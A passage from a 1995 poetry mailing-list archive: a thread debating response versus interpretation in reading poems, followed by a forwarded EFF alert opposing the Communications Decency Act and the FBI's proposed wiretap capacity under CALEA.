>which ruffle us_. _Of the cloacal_. _Of the triumph of the slaves_. _The
>hammer_. _What belongs to us upon a subtler prompting_. _Of absolute depth_.
>_Of unknown joy_.

↑ Index

68. Tom Beard
Re: signs taken for wonders
Mon 6 Nov 1995

Hi, this is in response to both Steve & Aldon's posts,

Steve wrote-
>Yes, if you were to interpret the poem as saying that apples and lightbulbs
>share the property of edibility *outside the frame of the poem.* Within
>that frame, the distinction between a response and an interpretation (which
>would seem to me to always begin at the response--correct me if I've
>neglected something--) is much blurrier.

& Aldon -
>[I'm] confused again by distinction there betwixt response and
>interpretation -- reading a poem as being about light bulbs certainly
>strikes me as an act of interpretation

I guess I was sloppy with my defn of interpretation. Yes, in most cases (the exceptions being sound poetry, some langpo etc) a response presupposes an interpretation, eg by mapping the words "apple" & "lightbulb" onto objects outside of the poem. I was counting this "small" sense of interpretation as being a response, and using the term "interpretation" in a "larger" sense, meaning the drawing of conclusions "outside of the frame" of the poem from the poem itself. What becomes blurry here is the frame - how do we define what is inside & outside of the poem?

Going back to my rather clumsy example, I'll try to show what I meant by "response" vs "interpretation". Let's say that a poem contained the line "The apple glowed - it was a low-watt light-bulb" (please god don't let me write a line like that!). To nod with appreciation, to shiver with fear, or to suddenly remember a moment 10 years ago when an apple glowed thus on your windowsill; these are all responses. They depend upon the "low-level"

interpretation of the terms "apple" & "lightbulb" - if you think that an apple is actually a breed of dog, then these responses will not be possible for you. But to then draw conclusions _outside_ of the frame of the poem, by thinking "this poet's obviously nuts - he thinks apples are the same as lightbulbs", or "Hmm, I could use a Granny Smith to replace the 100W bulb in the hallway", or "Hey, this poet must have been in my room with me 10 years ago", or "this guy's read far too much Craig Raine"; this is what I mean by interpretation.

In a less artificial, and more loaded, context, consider the following. A reader comes across a line that offends her - it appears racist to her. This feeling of being offended is a response; to conclude that the author is racist is to make an interpretation. The latter is (to some extent at least) open to falsification, but the former is not. In some cases a person may change his or her response in different circumstances, but the original response was neither valid nor invalid - it just _was_.

A more personal example: when I first read _The Hollow Men_, I was struck by the lines "waking alone, at the hour when we are trembling with tenderness, lips that would kiss form prayers to broken stone" (approximate rendition from memory). To me as I was - a lonely, rather sentimental adolescent - these lines were extremely powerful, and spoke to me. Later, when I read Southam's notes, I discovered that the poem was supposed to be about Guy Fawkes, Conrad's _Heart of Darkness_ and the asassination of Caesar. This doesn't invalidate my original response (and I carry it with me still), but if I'd written in an essay that "This poem was written by a lonely 18-year old boy desparately in need of a good bonk" then I could expect my interpretation to receive an F.

Aldon wrote -
>"the voice of the Maori" doesn't present itself as science but myth,
>with a mythical truth that IS as valid in the realm of myth as the voice of
>science is in the realm of science.

I'd still view this as a form of relativism: the assertion that the realm of myth is as valid as the realm of science. To _respond_ to a text (our land & its lifeforms) by telling a story that fits within the realm of myth is neither valid nor invalid, and is not open to disproof. But to _interpret_ the land this way leaves one open to more rigorous questioning. For example, believing that there is a god called Ruamoko who lives under the ground and causes earthquakes is a personal response. But to act upon this belief by attempting to appease the god (for example) brings one into conflict with a scientific view that might attempt instead to predict high-risk zones by mapping fault lines, identifying land that is prone to liquefaction and designing buildings to cope with earthquake stresses. There are areas where these two interpretations are incompatible, and at least one of them is invalid. (No prizes for guessing where I stand on this issue).

Thanks for your responses and interpretations,

Tom Beard

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

69. Aldon L. Nielsen

Re: bearded

Tue 7 Nov 1995

---

actually, tom, it was not aldon who wrote the response about the voice of the maori, though it "sounded like him," and, being myself aldon, my first response was that I could have written something like that -- but i didn't

as you redefine "response," i don't see how "validity" ever would be a question when discussing "response" -- but I'm sure there would be many questions to pursue looking at why some responses occur in the presence of some poems -- i don't think there is ever a non-interpretive moment, and your clarification does, in fact, clear that up for me --

I'm not sure _any+ statements about the origins of the earth would be truly falsifiable; but most statements about processes which "might" have resulted in the earth's origin should be falsifiable in a way that such statements as "god made man in his own image" is surely not --

↑ Index

70. Ron Silliman

*Fwd: EFFector Online 08.18 * Net Censorship & Surveillance Alerts!*

Tue 7 Nov 1995

FYI,

The proposed legislation, discussed in lengthy detail below, potentially could impact many of us on this list.

Ron Silliman

```
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EFFector Online Volume 08 No. 18 Nov. 6, 1995

A Publication of the Electronic Frontier Foundation ISSN 1062-9424

IN THIS ISSUE:

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Administrivia

* See http://www.eff.org/Alerts/ or ftp.eff.org, /pub/Alerts/ for more information on current EFF activities and online activism alerts! *

Subject: ALERT: Net Censorship, and Christian Coalition v. Human Rights Watch ---------- -----

CAMPAIGN TO STOP THE EXON/COATS COMMUNICATIONS DECENCY ACT (SEE THE LIST OF CAMPAIGN COALITION MEMBERS AT THE END)

Update: -Latest News:

The Christian Coalition is pushing Congress to censor the net more heavily than even Sen. J.J. Exon ever imagined.

There is the very real possibility that they may succeed.

You should be very worried. We are.

-What You Can Do Now:

Follow the directions below and call House Speaker Gingrich and Senate Leader Dole. Implore them to allow parents to make choices for their children, instead of government censors.

Volunteer to join the fight by helping organize in your home town.

CAMPAIGN TO STOP THE UNCONSTITUTIONAL COMMUNICATIONS DECENCY ACT

Nov 2, 1995

PLEASE WIDELY REDISTRIBUTE THIS DOCUMENT WITH THIS BANNER INTACT

REDISTRIBUTE ONLY UNTIL December 1, 1995

REPRODUCE THIS ALERT ONLY IN RELEVANT FORUMS

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For More Information
List Of Participating Organizations

THE LATEST NEWS

Since the very first day that Senator J.J. Exon (D-NE) proposed censorship legislation for the Internet, the Christian Right has pushed for the most restrictive regulations they could think of.

The Religious Right (which does not necessarily speak for all religious people concerned with this issue) recently tipped their hand in a letter to Sen. Larry Pressler (R-SD) and Rep. Thomas Bliley (R-VA) requesting a new and more restrictive net censorship proposal.

There are essentially three new dangerous elements of their campaign to shut down cyberspace:

INTERNET PROVIDERS, ONLINE SERVICES, AND LIBRARIES CRIMINALLY LIABLE FOR EXPRESSION ONLINE

The Religious Right has proposed to hold anyone who provides access to the Internet or other interactive media, including online services providers, ISP's, BBS's, Libraries, and Schools, criminally liable for all speech carried on the network.

In order to avoid liability under this provision, service providers would be forced to monitor user's electronic communications to be assured that no "indecent" material is transmitted across their networks.

This proposal is MORE RESTRICTIVE than the Exon Communications Decency Act, or any other net censorship legislation currently in Congress.

In their letter to Congress, the Religious Right says:

> [Providers] would simply be required to avoid KNOWING violations of the law. [emphasis added]

However, the "knowing" standard is vague enough that the mere knowledge that such material exists could be sufficient to trigger criminal liability. A single complaint or even a news report could force a service provider to take down a web page, remove posts to chat rooms or other discussion forums, or shut down listservs in order to avoid going to jail and facing huge fines.

A STANDARD FOR INDECENCY The proposals pushed by the Christian Coalition relies on the unconstitutional "indecency standard". Like the Exon Communications Decency Act, the Christian Coalition seeks to regulate all indecent speech online.

Indecency is a broad category that includes everything from George Carlin's
"seven dirty words" to such classic novels and "The Catcher in the Rye" and
"Lady Chatterly's Lover".

The Supreme Court has ruled that restrictions on indecent speech are Constitutional only if they rely on the "least restrictive means". Broad indecency restrictions on interactive media do not satisfy the "least restrictive means" test, because interactive media allows users and parents tremendous control over the information they receive.

Any legislation which attempts to apply an indecency restriction to the

Internet is unconstitutional on its face.

The Christian Coalition's proposal that relies on an indecency restriction contemplates dumbing down every conversation, web page, newsgroup, and mailing list on the Internet to the level of what is not offensive to children.

What kind of discussions between adults are possible in an arena where everything has been reduced to the level of the Lion King?

UNPRECEDENTED CONTROL OVER ONLINE SPEECH FOR THE FCC The Christian Coalition would give the FCC broad jurisdiction over cyberspace. It would allow the FCC jurisdiction over your online speech, and over the design Internet software, such as web browsers and filtering programs that parents can use to control their children's access to the Internet.

The Internet has developed from a government project to a market-driven economic boom for thousands of businesses. Giving the FCC authority over this medium would significantly hinder the growth of this new industry.

WHAT YOU CAN DO NOW

1. The proposals from the Religious Right will literally destroy online speech as we know it. The odds of stopping this are not certain.

There is a very real chance that this legislation will pass, and we will experience a period of uncertainty and chilling of speech while an appropriate test case attempts to reach the Supreme Court (should it even get there!)

The Religious Right has a strong grass-roots network. We need to counter their energy and ensure cyberspace is not lost due to them.

IMMEDIATELY CALL House Speaker Gingrich (R-GA) and Senate Leader Dole (R-KS) and urge them to oppose the Christian Coalition's proposal.

Name, Address, and Party Phone Fax
========== ==========
========== R GA Gingrich, Newt [redacted] [redacted]
R KS Dole, Robert [redacted] [redacted]

If you're at a loss for words, try one of the following:

> Please oppose the recent proposal from the Religious Right to
> censor the Internet. The only effective way to address children's
> access to the Internet is through parental control tools outlined
> by the Cox/White/Wyden approach.

or

> As a religious person and a parent, I oppose the Religious Right's
> attempts to censor the Internet. I am the best person to monitor
> my child's access to the Internet using parental control tools
> as outlined in the Cox/White/Wyden approach.

2. Join the online fight by becoming a volunteer for your district!

Check to see if your legislator is in the list below. If they are not, consult the free ZIPPER service that matches Zip Codes to Congressional districts with about 85% accuracy at:

> URL:http://www.stardot.com/~lukeseem/zip.html

The conference committee legislators are: House: Barr (R-GA), Barton (R-TX), Berman (R-CA), Bliley (R-VA), Boucher (D-VA), Brown (D-OH), Bryant (D-TX), Buyer (R-IN), Conyers (D-MI), Dingell (D-MI), Eshoo (D-CA), Fields (R-TX), Flanagan (R-IL), Frisa (R-NY), Gallegly (R-CA), Goodlatte (R-VA), Gordon (D-TN), Hastert (R-IL), Hoke (R-OH), Hyde (R-IL), Jackson-Lee (D-TX), Klug (R-WI), Lincoln (D-AR), Markey (D-MA), Moorhead (R-CA), Oxley (R-OH), Paxon (R-NY), Rush (D-IL), Schaefer (R-CO), Schroeder (D-CO), Scott (D-VA), Stearns (R-FL), White (R-WA) Senate: Burns (R-MT), Exon (D-NE), Ford (D-KY), Gorton (R-WA), Hollings (D-SC), Inouye (D-HI), Lott (R-MS), McCain (R-AZ), Pressler (R-SD), Rockefeller (D-WV), Stevens (R-AK)

If your legislator is on the conference committee, you have a chance to influence their vote on this issue with your power as a constituent. Volunteer

to help educate your legislator by sending mail to [redacted]. A coalition volunteer will be in touch with you.

You can starting working to help spread the word in your district by sending this letter to five friends. Ask them to call Dole and Gingrich as well.

3. The People for the American Way (PFAW) and the American Civil Liberties Union are organizing a letter from ORGANIZATIONS to the Conference Committee to oppose the censorship provisions.

If you are a representative of an organization that would like to signon to this letter, you should contact [redacted] IMMEDIATELY.

4. We can't suggest relaxing at this point. The stakes are too high, and
the risk is too great. Everything now hangs in the balance.

THE LETTER & SUGGESTED LEGISLATION FROM ED MEESE AND THE CHRISTIAN RIGHT

October 16, 1995

The Honorable Thomas J. Bliley, Jr. Chairman
Committee on Commerce
United States House of Representatives
Washington, DC 20515

The Honorable Larry Pressler, Chairman
Committee on Commerce, Science, and Transportation
United States Senate
Washington, DC 20510

Re: Computer Pornography Provisions in Telecommunications Bill

Dear Mr. Chairmen:

We are writing to urge the conference committee seeking to reconcile the telecommunications bills passed by the House and Senate include in the final bill the strongest possible criminal law provisions to address the growing and immediate problem of computer pornography without any exemptions, defenses, or political favors of any kind accorded to those who knowingly participate in the distribution of obscenity to anyone or indecency to children. While there is no perfect solution to the problem of computer pornography, Congress could not hope to solve this problem by holding liable only some who are responsible for the problem.

The recent Justice Department prosecution project targeting those who violated federal child pornography law using America On-Line is instructive in this

regard. More than ninety individuals were targeted for prosecution although many others, perhaps as many as 3,000 according to one press report, were originally targeted by the Department of Justice as potential violators of child pornography laws. Apparently due to a shortage of investigative and prosecutorial resources, the project was limited. Since there are insufficient resources to investigate and prosecute but a fraction of those that are trafficking in child pornography by computer, then there will likely be even fewer resources available to investigate and prosecute those involved in obscenity and indecency.

Thousands of individuals both in this country and abroad are regularly placing obscenity and indecency on the Internet. It is not possible to make anything more than a dent in the serious problem of computer pornography if Congress is willing to hold liable only those who place such material on the Internet while at the same time giving legal exemptions or defenses to service or access providers who profit from and are instrumental to the distribution of such material. The Justice Department normally targest the major offenders of laws. In obscenity cases prosecuted to date, it has targeted large companies which have been responsible for the nationwide distribution of obscenity and who have made large profits by violating federal laws. Prosecution of such companies has made a substantial impact in curbing the distribution of obscenity, with many such offenders going out of business altogether. So too will prosecution of access providers which _knowingly_ traffic in obscenity have a substantial impact, a far greater impact than just the prosecution of a person who places one or a few prohibited images on the Internet. Such a person could not traffic in pornography without the aid or facilitation of the service or access providers. Indeed, if Congress includes provisions protecting access or service providers in whatever bill is finally passed, it is likely that most in this country who are trafficking in indecency to children or obscenity would continue to do so since the threat of prosecution would be minuscule, given the numbers of those currently involved in this activity. It is also likely that those outside our country who are engaged in these activities would continue to do so since it would be nearly impossible to extradite them to the United States for prosecution. Thus, unless all who knowingly participate in such matters are subject to the law, the Internet will remain the same and Congress will have failed in its responsibilities to the children and families of America.

Federal law has traditionally assigned equal liability both for those who commit a crime and those who aid and abet a crime. See Title 18 U.S.C. Code Section 2: "(a) whoever [sic] commits an offense against the United States or aids, abets, councils [sic], commands, induces, or procures its commission, is punishable as a principle [sic]." Service or access providers who knowingly participate in the distribution of indecency to children or in obscenity to anyone are aiders and

abettors in the commission of those crimes and thus should have liability under any law Congress passes. Current federal law on child pornography provides no no exemption or defense for access providers. Thus, the child pornography law provides a strong deterrent against trafficking in child pornography for those who would otherwise knowingly participate in its distribution by computer whether pedophile or access provider.

The changes in law which we support would not hold an access provider criminally liable for all illegal pornography on the Internet which their services may be used to obtain. Nor would it require that access providers check all communications to ensure that no violations of the law are occurring. They would simply be required to avoid knowing violations of the law. This is an obligation imposed on all citizens. Technology exists today for access providers, through a simple process, to target or flag and remove files containing objectionable material.

We support the House-passed language insofar as it addresses obscenity by amendment Title 18, Sections 1462, 1465, and 1467 of the United States Code. The provision restricting transmission of indecency in the House-passed bill, an amendment to Section 1465, is inadequate, and we urge that it be substantially revised.

Attached is the specific language we support which includes the House passed language on obscenity and includes revisions on both the House passed language on indecency, which would amend Title 18 and the Senate-passed language on indecency, which would amend Title 47. The combination of these provisions, we believe, would provide effective laws to curb obscenity and indecency on the Internet by establishing that all who knowingly participate in the distribution or facilitation of obscenity to anyone or indecency to children would be subject to the law.

Thank you for your concern and attention to this matter.

[signed]

Edwin Meese III

Ralph Reed
Christian Coalition

Donald E. Wildmon
American Family Association

Alan Sears, Former Executive Director
Atty General's Commission on Pornography

Phyllis Shafly
Eagle Forum

Beverly LaHaye
Concerned Women for America

Reverend Louis P. Sheldon
Traditional Values Coalition

Jay Sekulow
American Center for Law and Justice

Paul Weyrich
Free Congress Foundation

Paul McGeady
Morality in Media

Len Munsil
National Family Legal Foundation

Robert Peters
Morality in Media

Kenneth Sukhia
Former United States Attorney, N.D., FL
Former Chairman, Atty General's Advisory Committee
Subcommittee on Child Exploitation and Obscenity

Section 1465 of Title 18, United States Code, is amended to punish distribution by computer of indecent material to minors by adding at the end the following:

Whoever knowingly communicates, transmits, or makes available for communication or transmission, in or effecting interstate or foreign commerce an indecent communication by computer to any person the communicator or transmitter believes has not attained the age of 18 years of age, knowing that such communication will be obtained by a person believed to be under 18 years of age, shall be fined under this title or imprisoned not more than five years, or both.

TITLE IV -- OBSCENE, HARASSING, AND WRONGFUL UTILIZATION OF TELECOMMUNICATIONS FACILITY

SEC. 401. SHORT TITLE

This title may be cited as the "Communications Decency Act of 1995".

Sec. 402. OBSCENE OR HARASSING USE OF TELECOMMUNICATIONS FACILITIES
UNDER
THE COMMUNICATIONS ACT OF 1934

Section 223 (47 U.S.C. 223) is amended --

(1) by striking subsection (a) and inserting in lieu of [sic]:

``(a) Whoever--

``(1) in the District of Columbia or in interstate or foreign communications --

``(A) by means of telecommunications device knowingly--

``(i) makes, creates, or solicits, and

``(ii) initiates the transmission of,

any comment, request, suggestion, proposal, image, or other communication which is obscene, lewd, lascivious, filthy, or indecent, with intent to annoy, abuse, threaten, or harass another person;

``(B) makes a telephone call or utilizes a telecommunications device, whether or not conversation or communication ensues, without disclosing his identity and with intent to annoy, abuse, threaten, or harass any person at the called number or who receives the communication;

``(C) makes or causes the telephone of another repeatedly or continuously to ring, with intent to harass any person at the called number; or

``(D) makes repeated telephone calls or repeatedly initiates communication with a telecommunications device, during which conversation or communication ensues, solely to harass any person at the called number or who receives the communication;

``(2) knowingly permits any telecommunications facility under his control to be used for any activity prohibited by paragraph (1) with the intent that it be used for such activity,

shall be fined not more than $100,000 or imprisoned not more than two years, or both.''; and

(2) by adding at the end the following new subsections:

``(d) Whoever--

``(1) knowingly within the United States or in foreign communications with the United States by means of telecommunications device makes or makes available any indecent communication in any form including any comment, request, suggestion, proposal, or image, to any person under 18 years of age regardless of whether the maker of such communication placed the call or initiated the communication; or

``(2) knowingly permits any telecommunications facility under such person's control to be used for an activity prohibited by paragraph (1) with the intent that it be used for such activity,

shall be fined not more than $100,000 or imprisoned not more than two years or both.

``(e) Defenses to subsections (a) and (d), restrictions on access, judicial remedies respecting restrictions for persons providing information services and access to information services--

"(1) It is a defense to prosecution that a person has complied with regulations designed to restrict access to indecent communications to those 18 years old or older as enacted by the Federal Communications Commission which shall prepare final regulations within 120 days of the passage of this bill. Until such regulations become effective, it is a defense to prosecution that the person has blocked or restricted access to indecent communications to any person under 18 years of age through the use of verified credit card, adult access code, or adult personal identification number (PIN). Nothing in this subsection shall be construed to treat enhanced information services as common carriage."

"(2) No cause of action may be brought in any court or any administrative agency against any person on account of any activity which is not in violation of any law punishable by criminal or civil penalty, which activity the person has taken in good faith to implement a defense authorized under this section or otherwise to restrict or prevent the transmission of, or access to, a communication specified in this section.

(f) Nothing in this subsection shall preclude any State or local government from enacting and enforcing laws and regulations

which do not result in the imposition of inconsistent obligations on
the provision of interstate services. Nothing in this subsection
shall preclude any State or local government from governing conduct
not covered by subsection (d)(2)."
(g) Nothing in subsection (a), (d), or (e) or in the
defenses to prosecution under (e) shall be construed
to affect or limit the application or enforcement of any other
Federal law.
(h) The use of the term 'telecommunications device' in this
section shall not impose new obligations on (one-way) broadcast
radio or (one-way) broadcast television operators licensed by the
Commission or (one-way) cable services registered with the
Federal Communications Commission and covered by obscenity and
indecency provisions elsewhere in this Act.

Sec. 403. OBSCENE PROGRAMMING ON CABLE TELEVISION.

Section 639 (47 U.S.C. 559) is amended by striking "10,000" and inserting "$100,000"

Sec. 404. BROADCASTING OBSCENE LANGUAGE ON THE RADIO.

Section 1466 of Title 18, United States Code, is amended by striking out "$10,000" and inserting "$100,000".

Sec. 405 SEPARABILITY

"(a) If any provision of this Title, including amendments to this Title of [sic] the application thereof to any person or circumstance is held invalid, the remainder of this Title and the application of such provision to other persons or circumstances shall not be affected thereby."

CHRONOLOGY OF THE COMMUNICATIONS DECENCY ACT

Sep 26, '95 Sen. Russ Feingold urges committee members to drop Managers Amendment and the CDA from the Telecommunications Deregulation bill
Aug 4, '95 House passes HR1555 which goes into conference with S652.
Aug 4, '95 House votes to attach Managers Amendment (which contains new criminal penalties for speech online) to Telecommunications Reform bill (HR1555).
Aug 4, '95 House votes 421-4 to attach HR1978 to Telecommunications Reform bill (HR1555).

Jun 30, '95 Cox and Wyden introduce the "Internet Freedom and Family Empowerment Act" (HR 1978) as an alternative to the CDA.
Jun 21, '95 Several prominent House members publicly announce their opposition to the CDA, including Rep. Newt Gingrich (R-GA), Rep. Chris Cox (R-CA), and Rep. Ron Wyden (D-OR).
Jun 14, '95 The Senate passes the CDA as attached to the Telecomm reform bill (S 652) by a vote of 84-16. The Leahy bill (S 714) is not passed.
May 24, '95 The House Telecomm Reform bill (HR 1555) leaves committee in the House with the Leahy alternative attached to it, thanks to Rep. Ron Klink of (D-PA). The Communications Decency Act is not attached to it.
Apr 7, '95 Sen. Leahy (D-VT) introduces S.714, an alternative to the Exon/Gorton bill, which commissions the Dept. of Justice to study the problem to see if additional legislation (such as the CDA) is necessary.
Mar 23, '95 S314 amended and attached to the telecommunications reform bill by Sen. Gorton (R-WA). Language provides some provider protection, but continues to infringe upon email privacy and free speech.
Feb 21, '95 HR1004 referred to the House Commerce and Judiciary committees
Feb 21, '95 HR1004 introduced by Rep. Johnson (D-SD)
Feb 1, '95 S314 referred to the Senate Commerce committee
Feb 1, '95 S314 introduced by Sen. Exon (D-NE) and Gorton (R-WA).

FOR MORE INFORMATION

Web Sites

URL:http://www.vtw.org/exon/
URL:http://epic.org/
URL:http://www.eff.org/pub/Alerts/
URL:http://www.cdt.org/cda.html
URL:http://outpost.callnet.com/outpost.html

FTP Archives

URL:ftp://ftp.cdt.org/pub/cdt/policy/freespeech/00-INDEX.FREESPEECH
URL:ftp://ftp.eff.org/pub/Alerts/

Gopher Archives:
URL:gopher://gopher.panix.com/11/vtw/exon
URL:gopher://gopher.eff.org/11/Alerts

Email:
[redacted] (put "send alert" in the subject line for the latest
alert, or "send cdafaq" for the CDA FAQ)
[redacted] (General CDA information)
[redacted] (Current status of the CDA)

LIST OF PARTICIPATING ORGANIZATIONS

In order to use the net more effectively, several organizations have joined forces on a single Congressional net campaign to stop the Communications Decency Act.

American Civil Liberties Union * American Communication Association * American Council for the Arts * Arts & Technology Society * Association of Alternative Newsweeklies * biancaTroll productions * Boston Coalition for Freedom of Expression * Californians Against Censorship Together * Center For Democracy And Technology * Centre for Democratic Communications * Center for Public Representation * Citizen's Voice - New Zealand * Cloud 9 Internet *Computer Communicators Association * Computel Network Services * Computer Professionals for Social Responsibility * Cross Connection * Cyber-Rights Campaign * CyberQueer Lounge * Dutch Digital Citizens' Movement * ECHO Communications Group, Inc. * Electronic Frontier Canada * Electronic Frontier Foundation * Electronic Frontier Foundation - Austin * Electronic Frontiers Australia * Electronic Frontiers Houston * Electronic Frontiers New Hampshire * Electronic Privacy Information Center * Feminists For Free Expression * First Amendment Teach-In * Florida Coalition Against Censorship * FranceCom, Inc. Web Advertising Services * Friendly Anti-Censorship Taskforce for Students * Hands Off! The Net * Inland Book Company * Inner Circle Technologies, Inc. * Inst. for Global Communications * Internet On-Ramp, Inc. * Internet Users Consortium * Joint Artists' and Music Promotions Political Action Committee * The Libertarian Party * Marijuana Policy Project * Metropolitan Data Networks Ltd. * MindVox * MN Grassroots Party * National Bicycle Greenway * National Campaign for Freedom of Expression * National Coalition Against Censorship * National Gay and Lesbian Task Force * National Public Telecomputing Network * National Writers Union * Oregon Coast RISC * Panix Public Access Internet * People for the American Way * Republican

Liberty Caucus * Rock Out Censorship * Society for Electronic Access * The Thing International BBS Network * The WELL * Voters Telecommunications Watch

(Note: All 'Electronic Frontier' organizations are independent entities,
not EFF chapters or divisions.)

End Alert

Subject: ALERT: Digital Telephony Action - Nov. 15 Deadline!

In Oct. 16's Federal Register, the FBI published a request for public comments *due November 15 1995* and a request for surveillance capacity. This is the first major step, since passage of the Digital Telephony legislation in 1994, in setting up the FBI's dream and our nightmare: forced compliance with law enforcement and intellegence demands to make

all communications networks wiretappable.

* Background: FBI Draft Capacity Requirements

The 1994 "Digital Telephony and Privacy Improvement Act" (DT), passed as the
more honestly-titled "Communications Assistance to Law Enforcement Act"

(CALEA), did add significant statutory privacy protections and public oversight provisions for surveillance actions, but in essence requires telecommunications carriers including "plain old telephone service" companies and related telphonic services, to make their networks wiretap-friendly. There are several steps to implementation:

1) Approval of capability requirements (can the network be tapped?) 2) Approval of capacity requirements (how many wiretaps can be done?) 3) Approval of funding to pay for this mess

The subject of the FBI's request, reproduced below, is capacity. The capacity request specifies the number of simultaneous wiretaps (by which term we simplify a bit: it includes actual communications intercepts, pen register (dialed number) information captures, and trap-and-trace actions) the government estimates that it will need to conduct authorized surveillance. Telecom companies will have 6 months to respond to this final notice published after the public comment period, and outline what part of their systems are not wiretap-

friendly, at which point the government may opt to pay for a system to be "upgraded" or decide to let it slide.

The demanded capacities range from .05% of "engineered capacity" (which

according to the FBI initially means the maximum number of subscribers to a particular service or facility) to a full 1% of engineered capacity. In a worst-case scenario this could mean that 1 person on every residential city block could be wiretapped at all times - or, enough to wiretap 20,000 people at the same time in New York City alone - one of the cities targetted for the higher capacity. According to industry executives, there have never been more than 7 simultaneous wiretaps conducted from a single US telco location. Current wiretapping activity is roughly one tap per 170,000 phone lines. Isn't increasing wiretapping capacity more than a thousand times over a just a wee bit excessive? Clark Matthews,

writing for _The_Spotlight_ estimates that under the current proposal, as many as 500,000 to 1,500,000 simultaneous wiretaps could be conducted nation-wide, given sufficient law enforcement resources. Compare this to the average of less than 1000 court-authorized wiretaps annually (though up to 1730 in 1994), less than half of them done for federal law enforcement.

Recent reports indicate that there may have been an error in someone's figures somewhere (perhaps even in the Fed. Register notice, which pretty clearly states "1%"), and that the real number is 1 out of 1000 *lines*, but 1 out of 100 phone *calls*. Even if this is true, that's a staggering increase in wiretapping capacity.

Considerably after-the-fact, the FBI revised its statements of what "engineered capacity" means, saying it means "total number of simultaneous phone calls" rather than subscriber lines. This appears to be a smokescreen, and is irrelevant anyway: the capacity to tap 1% of all ongoing phone calls is still frighteningly Big-Brotherish. And EPIC claims that the FBI's estimate of how many calls correspond to how many lines may be at least 100% less than the real figures.

Even using the lowest of the percentages, .05% in rural areas until 1998 (five times that, later), the Bureau wants the capacity to conduct surveillance on 1 out of every 20000 lines, and one out of every 2000 calls. Again, the current ratio is 1 to 170,000 or thereabouts. Even in the deepest woods of Maine or the deserts of Nevada, the FBI wants to tap more than 8 times as many people as it currently can spy on - 40 times as many in 1999.

FBI director Louis Freeh continues to deny, deny, deny, saying "We have not and are not asking for the ability to monitor 1 out of every 100 telephone numbers or any other ridiculous number like that. To obtain that many court

orders and conduct that extent of wiretapping would be nearly impossible." His denials, however, simply don't match the Fed. Register notice, and furthermore ignore the fact that warrants only need be sought when the evidence to be gained from the surveillance is to be

used in court (to quote from the statute itself: wiretaps conducted "pursuant to a court order *or other legal authorization*", emphasis added.) Not to mention that this legislation isn't for this year, it's for the future. Who knows what will be possible under a bloated FBI budget in future years?

An AP article quotes Deputy Attorney General Jamie Gorelick as saying, "There is no intention to expand the number of wiretaps or the extent of wiretapping ... . I don't think the American people should be worried about that."

Well, please forgive us if we "worry". The capability to tap one out of every 100 or 1000 phone lines simultaneously, even in "high crime areas", is truly wretched excess, even presuming that wiretaps are a good idea in the first place. As Brock Meeks reported ("Riding a Straw Horse", _Cyberwire_Dispatch_, Sept. 13 1994), "In 1991, the latest year figures

are available, most Americans, across all age groups, disapproved when asked the question: 'Everything considered, would you say that you approve or disapprove of wiretapping?' Some 67% of all 18-20 year olds

gave the thumbs down, as did 68% of the Gen[eration]-X crowd...Boomers disapproved of wiretapping almost 3-to-1 while 67% of those 50 and over

disapproved."

The _New_York_Times_ reports that the FBI refuses to elaborate on its internally perceived need to increase wiretapping capacity to this extent, saying only that "The full implementation is absolutely essential for law enforcement and public safety. We are in ongoing discussions with the communications industry. Therefore it would be inappropriate to comment further at this point." Apparently the FBI considers their discussions more imporant than your rights. And those discussions may even be on the subject of negotiating, outside of public review, for even *more* wiretapping capacity that the Bureau has already asked for in the Federal Register. Enough is enough.

DT/CALEA's *capability* requirements are still under development. In short,
the FBI will state what it wants, and the industry must try to comply with
this, within certain limits, including the right of members of the public
to challenge the requirments before the FCC.

The funding issue: Congress authorized but did not appropriate US$500million to implement CALEA in 1994. The Justice dept. has proposed that a 30%-40% extra fine ("surcharge") be attached to all civil and criminal penalties and fines to pay for this, and has attached this proposal to both the stalled and in many cases unconsitutional anti-terrorism legislation, and a pending appropriations bill.

EFF is committed to opposing any such funding efforts for the wiretap bill's provisions.

* What You Can Do Now

See the FBI Federal Register notice below. It includes instructions on how to submit comments. Remember, these comments are part of the public record. The FBI cannot hide them, and they *do* matter. THE DEADLINE IS NOV. 15! Act now, or perhaps forever hold thy peace!

Remember that FBI director Louis Freeh himself states:

"There is no intention to expand the number of wiretaps or the extent of wiretapping. Those who use the public comment notice to argue the contrary are wrong."

If your comments focus on a the (nonetheless quite reasonable) proposition that the FBI intends to wiretap an order of magnitude more people that they do now, your comments may end up being disregarded. Instead, criticize the ridiculous draft requirement for this much wiretap capacity in the first place if the FBI doesn't intend to use it. Remember, you have them, either way. The current proposal is simply senseless.

Next steps: Contact your legislators, and keep an eye on the progress of bills that the FBI has attached DT/CALEA funding language to - sending letters to the members of committess examining such legislation is important.

In your letter to your own Senators and Representatives, please stress that

* the FBI has not shown that it effectively uses wiretapping to prevent domestic terrorism, despite its claims and despite this being the prime reason the FBI has expressed for this legislation;

* the FBI has not provided the public or Congress any of the information that it claims supports its outrageous requests for wiretapping capacity, orders of magnitude greater than present-day capacity in some areas;

* the FBI may be, counter to the specifications of CALEA, entering into negotiations with telecom industry leaders that are hidden from the public;

* the FBI has shown no evidence to back up its claims that digital telephone technology is actually thwarting effective law enforcement;

* FOIA-obtained documents from the FBI itself indicate that the above-mentioned Bureau claim is a complete fabrication anyway;

* Citizen privacy is not to be stripped for the convenience of law enforcement.

Congress contact information is available at:

ftp.eff.org, /pub/Activism/Congress_contact/
gopher.eff.org, 1/Activism/Congress_contact
http://www.eff.org/pub/Activism/Congress_contact/

A list of Congress-member email addresses is available at:
gopher://una.hh.lib.umich.edu:70/00/socsci/poliscilaw/uslegi/conemail

* Congress May Just Not Buy It

The FBI did not once seek a warrant for a wiretap in cases involving "weapons, arson, or explosives" since the 1980s. Yet they claim that one of the main motivations for CALEA is to combat domestic terrorism. Where were they when the Oklahoma City federal building was blown up?

Investigations are also underway into the decidely poor law enforcement handling of several cases, such as the Waco incident and the Randy Weaver seige.

In the wake of CIA honcho Aldrich Ames's rooting-out as a traitor, the same _NYT_ issue that covered the FBI Fed. Register notice also reveals

that the CIA and other intelligence agencies - the same national security
interests behind DT and crypto key "escrow" - have lied consistently to

the President and Congress, and have been riddled with Soviet and other

double agents for decades. The article suggests that the CIA is a "laughingstock" in Washington right now.

The new Congress may at times be only too willing to censor, but we can

hope they won't fall for this surveillance rigamarole.

* House Rejects First DT/CALEA Funding Attempt

